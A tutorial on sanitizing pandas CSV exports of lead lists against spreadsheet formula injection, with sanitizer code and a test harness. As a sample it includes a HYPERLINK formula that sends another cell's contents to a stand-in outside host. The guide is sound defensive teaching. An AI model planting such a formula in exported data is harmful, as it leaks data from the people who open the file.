Safe CSV export in Python: preventing formula injection before a lead list reaches Excel

Lead lists and skip-trace exports usually end up in a spreadsheet. Someone downloads the CSV, double-clicks it, and Excel opens it. That habit is the reason CSV injection (also called formula injection) matters. If a cell's text starts with certain characters, the spreadsheet may treat it as a formula. The person running the export didn't write that formula. It came from whoever typed the value.

This guide covers how the attack works and how to sanitize a pandas DataFrame without wrecking negative numbers or E.164 phone numbers. It also covers the to_csv quoting and encoding settings that matter for Excel, and a test harness that proves the export behaves the way you expect. Each code block runs on its own, so the helper functions are repeated in the later blocks on purpose.

What CSV formula injection is

A CSV file is plain text, so it can't run anything by itself. The risk appears when a spreadsheet application opens the file and reads a cell as a formula. The OWASP guidance on CSV injection lists these leading characters as dangerous:

• Equals sign =
• Plus sign +
• Minus sign -
• At sign @
• Tab (0x09)
• Carriage return (0x0D)

A cell like =HYPERLINK("http://example.com/?x="&A1,"View") can become a clickable link that sends the contents of another cell to an outside server. Other formulas can pull in external data or trigger application warnings that users click through. Excel, LibreOffice Calc, and Google Sheets all evaluate formulas, though each one shows different warnings and has different defaults.

This is a problem for whoever opens the file. Your Python code isn't compromised. Your users and coworkers are the ones exposed, and the export is how the payload reaches them.

Why lead lists and skip-trace exports are exposed to CSV injection

Contact and property data comes from many hands: web forms, CRM notes fields, imported vendor files, and agents typing notes on a call. Any of these fields can hold text that starts with = or @:

• Owner or contact names
• Mailing addresses
• Free-text notes and tags
• Email addresses (@ at the start of a malformed value)
• Custom fields copied in from other systems, including their column names

Skip-trace and lead workflows often export the same records again and again to different people: acquisitions, a call team, a virtual assistant, or a mailing vendor. Each export is another chance for one bad cell to reach a spreadsheet.

Here is what a plain pandas export does with a hostile name:

import io

import pandas as pd

leads = pd.DataFrame({
    "name": ["Avery Quinn", '=HYPERLINK("http://example.com/?x="&A1,"View")'],
    "notes": ["Call after 5pm", "+1+1"],
})

buffer = io.StringIO()
leads.to_csv(buffer, index=False)
print(buffer.getvalue(), end="")

name,notes
Avery Quinn,Call after 5pm
"=HYPERLINK(""http://example.com/?x=""&A1,""View"")",+1+1

pandas did its job correctly here. It wrote valid CSV and escaped the embedded quotes. The quotes don't protect anything, though. When the file is opened, the spreadsheet removes the CSV quoting and finds a formula. The +1+1 note can also be evaluated, and it shows 2.

A pandas sanitizer that keeps negative numbers and E.164 phones

The usual defense, and the one OWASP recommends, is to put a single quote (') in front of any cell that starts with a dangerous character. The cell then starts with a character that can't begin a formula, so the spreadsheet loads it as text. Note that this is not the same as typing an apostrophe into Excel by hand: when the apostrophe comes from a CSV file, Excel usually shows it as part of the cell.

If you prefix every value blindly, you break legitimate data. Two cases matter most in contact data:

1. Negative numbers. A balance of -12.5 is a number, not an attack. If you leave numeric dtype columns alone, they keep their numeric dtype. Strings that are strictly numeric, such as "-42", are also safe to leave unchanged, because the spreadsheet reads them as plain numbers.
2. E.164 phone numbers. A value like +13125550147 starts with +. If your phone column has already been normalized, you don't want an apostrophe in front of every number. That would break a CRM import that expects E.164.

The fix is an allowlist of phone columns. An allowlisted column still gets checked: a value is left unchanged only if it fully matches an E.164 pattern. Anything else in that column, such as +1+1, still gets the prefix. If you haven't normalized your phone numbers yet, start with our earlier guide on normalizing US phone numbers to E.164 in Python and Excel before a CRM import.

Column names get the same treatment. A header row is just another row of cells once the file is opened, and a custom field named =cmd is as dangerous as a value.

import re

import pandas as pd

FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
NUMERIC_TEXT = re.compile(r"-?\d+(\.\d+)?")
E164 = re.compile(r"\+[1-9]\d{1,14}")


def sanitize_cell(value, allow_e164=False):
    if not isinstance(value, str) or not value.startswith(FORMULA_PREFIXES):
        return value
    if NUMERIC_TEXT.fullmatch(value):
        return value
    if allow_e164 and E164.fullmatch(value):
        return value
    return "'" + value


def sanitize_dataframe(df, phone_columns=()):
    safe = df.copy()
    for column in safe.columns:
        if pd.api.types.is_numeric_dtype(safe[column]):
            continue
        allow = column in phone_columns
        safe[column] = safe[column].map(lambda v: sanitize_cell(v, allow_e164=allow))
    safe.columns = [sanitize_cell(column) for column in safe.columns]
    return safe


leads = pd.DataFrame({
    "name": ["Avery Quinn", "=2+5", "@SUM(A1:A9)"],
    "phone": ["+13125550147", "+1+1", "312-555-0188"],
    "notes": ["-5 days since contact", "\tleading tab", "-42"],
    "balance": [-12.5, 0.0, 40.25],
})

safe = sanitize_dataframe(leads, phone_columns=("phone",))
for column in safe.columns:
    print(column, safe[column].tolist())
print("original:", leads.loc[1, "name"])

name ['Avery Quinn', "'=2+5", "'@SUM(A1:A9)"]
phone ['+13125550147', "'+1+1", '312-555-0188']
notes ["'-5 days since contact", "'\tleading tab", '-42']
balance [-12.5, 0.0, 40.25]
original: =2+5

A few details are worth pointing out:

• fullmatch is used instead of match with $. In Python, $ also matches just before a trailing newline, so "-5\n" would slip through a $ check.
• Non-string values (None, NaN, numbers inside object columns) pass through unchanged.
• The phone allowlist is checked against the original column names, before the headers are sanitized.
• The function returns a copy. Your source DataFrame and your database stay untouched.
• "-5 days since contact" gets prefixed. It's harmless text, but it starts with -, and the function has no way to judge intent. That is the cost of a conservative rule.

Sanitizing changes your data

The prefix is a real character in the output file. In Excel, an apostrophe that comes from a CSV is usually visible in the cell, and if someone loads the CSV into another system, the ' comes along as part of the value. Keep that in mind when you decide where to sanitize:

• Sanitize at the export boundary, for files meant to be opened in a spreadsheet. Don't sanitize the stored data.
• Don't sanitize machine-to-machine files (API payloads, database loads) unless the receiving system expects it. Those consumers need the raw value.
• Sanitizing doesn't replace validation. It won't fix a malformed phone number, block an overly long name, or protect HTML, SQL, or shell contexts. Validate and normalize data when it comes in. Then sanitize again when you export to a spreadsheet, as a separate layer.

pandas to_csv settings for Excel: QUOTE_ALL and utf-8-sig

Two to_csv settings make the file safer and more predictable when Excel opens it:

• quoting=csv.QUOTE_ALL wraps every field in double quotes. Addresses with commas and notes with line breaks stay in their own cells. It also closes a delimiter gap. pandas' default minimal quoting only quotes fields that contain a comma, a quote, or a line break. In locales where Excel's list separator is a semicolon, double-clicking a .csv splits fields on ;, so an unquoted value like Smith;=1+1 becomes two cells, and the second one is a formula your sanitizer never saw. With every field quoted, the whole value stays in one cell. Quoting alone does not stop formula evaluation, so it only helps alongside the prefix.
• encoding="utf-8-sig" writes a UTF-8 byte order mark at the start of the file. Excel uses it to detect UTF-8, so names like "José" don't come out garbled.

import csv
import re
import tempfile
from pathlib import Path

import pandas as pd

FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
NUMERIC_TEXT = re.compile(r"-?\d+(\.\d+)?")
E164 = re.compile(r"\+[1-9]\d{1,14}")


def sanitize_cell(value, allow_e164=False):
    if not isinstance(value, str) or not value.startswith(FORMULA_PREFIXES):
        return value
    if NUMERIC_TEXT.fullmatch(value):
        return value
    if allow_e164 and E164.fullmatch(value):
        return value
    return "'" + value


def sanitize_dataframe(df, phone_columns=()):
    safe = df.copy()
    for column in safe.columns:
        if pd.api.types.is_numeric_dtype(safe[column]):
            continue
        allow = column in phone_columns
        safe[column] = safe[column].map(lambda v: sanitize_cell(v, allow_e164=allow))
    safe.columns = [sanitize_cell(column) for column in safe.columns]
    return safe


def export_for_excel(df, path, phone_columns=()):
    safe = sanitize_dataframe(df, phone_columns=phone_columns)
    safe.to_csv(path, index=False, quoting=csv.QUOTE_ALL, encoding="utf-8-sig")
    return safe


leads = pd.DataFrame({
    "name": ["José Rivera", "=2+5"],
    "phone": ["+13125550147", "+16175550192"],
    "address": ["42 Birch Ln, Springfield", "7 Elm St, Riverton"],
    "balance": [-12.5, 40.25],
})

with tempfile.TemporaryDirectory() as tmp:
    path = Path(tmp) / "leads_export.csv"
    export_for_excel(leads, path, phone_columns=("phone",))
    print(path.read_bytes()[:3])
    for line in path.read_text(encoding="utf-8-sig").splitlines():
        print(line)
    back = pd.read_csv(path, encoding="utf-8-sig", dtype=str)
    print(back.columns.tolist())
    print(back.loc[1, "name"])

b'\xef\xbb\xbf'
"name","phone","address","balance"
"José Rivera","+13125550147","42 Birch Ln, Springfield","-12.5"
"'=2+5","+16175550192","7 Elm St, Riverton","40.25"
['name', 'phone', 'address', 'balance']
'=2+5

If you read the file back with encoding="utf-8-sig", the byte order mark is stripped, so the first column is named name and not \ufeffname.

A practical note on phones: Excel may still convert +13125550147 to a number when you double-click the file, which drops the + from the display. That's a display problem, not an injection problem. If someone needs to see phone numbers exactly as written, import with Data > From Text/CSV and set the phone column to Text.

A CSV injection test harness that asserts results

Sanitizers tend to break quietly when someone "simplifies" a regex or adds a column. A small assertion-based harness catches that. It runs with plain python, and you can move the same cases into pytest later.

import csv
import re
import tempfile
from pathlib import Path

import pandas as pd

FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
NUMERIC_TEXT = re.compile(r"-?\d+(\.\d+)?")
E164 = re.compile(r"\+[1-9]\d{1,14}")


def sanitize_cell(value, allow_e164=False):
    if not isinstance(value, str) or not value.startswith(FORMULA_PREFIXES):
        return value
    if NUMERIC_TEXT.fullmatch(value):
        return value
    if allow_e164 and E164.fullmatch(value):
        return value
    return "'" + value


def sanitize_dataframe(df, phone_columns=()):
    safe = df.copy()
    for column in safe.columns:
        if pd.api.types.is_numeric_dtype(safe[column]):
            continue
        allow = column in phone_columns
        safe[column] = safe[column].map(lambda v: sanitize_cell(v, allow_e164=allow))
    safe.columns = [sanitize_cell(column) for column in safe.columns]
    return safe


def export_for_excel(df, path, phone_columns=()):
    safe = sanitize_dataframe(df, phone_columns=phone_columns)
    safe.to_csv(path, index=False, quoting=csv.QUOTE_ALL, encoding="utf-8-sig")
    return safe


CELL_CASES = [
    ("=2+5", False, "'=2+5"),
    ("+1+1", False, "'+1+1"),
    ("-2+3", False, "'-2+3"),
    ("@SUM(A1:A9)", False, "'@SUM(A1:A9)"),
    ("\t=2+5", False, "'\t=2+5"),
    ("\r=2+5", False, "'\r=2+5"),
    ("Avery Quinn", False, "Avery Quinn"),
    ("-42", False, "-42"),
    ("-12.50", False, "-12.50"),
    ("-5\n", False, "'-5\n"),
    ("+13125550147", True, "+13125550147"),
    ("+13125550147", False, "'+13125550147"),
    ("+1+1", True, "'+1+1"),
    ("", False, ""),
    (None, False, None),
]

checks = 0
for value, allow, expected in CELL_CASES:
    result = sanitize_cell(value, allow_e164=allow)
    assert result == expected, f"{value!r}: expected {expected!r}, got {result!r}"
    checks += 1

leads = pd.DataFrame({
    "name": ["Avery Quinn", "=2+5"],
    "phone": ["+13125550147", "+1+1"],
    "balance": [-12.5, 40.25],
})
safe = sanitize_dataframe(leads, phone_columns=("phone",))

assert leads.loc[1, "name"] == "=2+5"
assert safe.loc[1, "name"] == "'=2+5"
assert safe.loc[0, "phone"] == "+13125550147"
assert safe.loc[1, "phone"] == "'+1+1"
assert safe["balance"].tolist() == [-12.5, 40.25]
assert pd.api.types.is_float_dtype(safe["balance"])
checks += 6

hostile = pd.DataFrame({"=1+1": ["Smith;=1+1"]})
safe_hostile = sanitize_dataframe(hostile)
assert safe_hostile.columns.tolist() == ["'=1+1"]
assert safe_hostile.loc[0, "'=1+1"] == "Smith;=1+1"
checks += 2

with tempfile.TemporaryDirectory() as tmp:
    path = Path(tmp) / "leads_export.csv"
    export_for_excel(leads, path, phone_columns=("phone",))
    raw = path.read_bytes()
    assert raw.startswith(b"\xef\xbb\xbf")
    with open(path, newline="", encoding="utf-8-sig") as handle:
        rows = list(csv.reader(handle))
    assert rows[0] == ["name", "phone", "balance"]
    assert rows[2] == ["'=2+5", "'+1+1", "40.25"]
    for line in raw.decode("utf-8-sig").splitlines():
        assert line.startswith('"') and line.endswith('"')
    hostile_path = Path(tmp) / "hostile_export.csv"
    export_for_excel(hostile, hostile_path)
    assert '"Smith;=1+1"' in hostile_path.read_text(encoding="utf-8-sig")
    checks += 5

print(f"All {checks} checks passed")

All 28 checks passed

The Smith;=1+1 case shows why the prefix and the quoting work as a pair. The value doesn't start with a dangerous character, so the sanitizer leaves it alone, and only QUOTE_ALL keeps a semicolon-delimited Excel from splitting it into a formula cell.

Whenever you find a new edge case in real exports, add a row to CELL_CASES. The list becomes a record of what your team has decided is safe.

Checklist for safe CSV export from pandas

• [ ] Prefix cells starting with =, +, -, @, tab, or carriage return with a single quote, following OWASP guidance.
• [ ] Sanitize column headers too, not just values.
• [ ] Skip numeric dtype columns so negative numbers stay numeric.
• [ ] Leave strictly numeric strings alone, and check them with fullmatch.
• [ ] Allowlist phone columns only after normalizing them, and accept only values that fully match E.164.
• [ ] Sanitize a copy at export time, not the source data.
• [ ] Write with quoting=csv.QUOTE_ALL and encoding="utf-8-sig" for Excel users, so semicolon-delimited locales can't split a value into a new formula cell.
• [ ] Remember that quoting alone doesn't stop formulas.
• [ ] Keep machine-facing exports raw unless the receiving system expects sanitized values.
• [ ] Validate and normalize data on input. Sanitizing is a defense for spreadsheet users, not a replacement for validation.
• [ ] Keep an assertion harness and run it in CI.

For more guides on cleaning and preparing contact and property data, visit the resource hub.

Locate Next (https://www.locatenext.com) publishes these guides for teams working with property and contact data.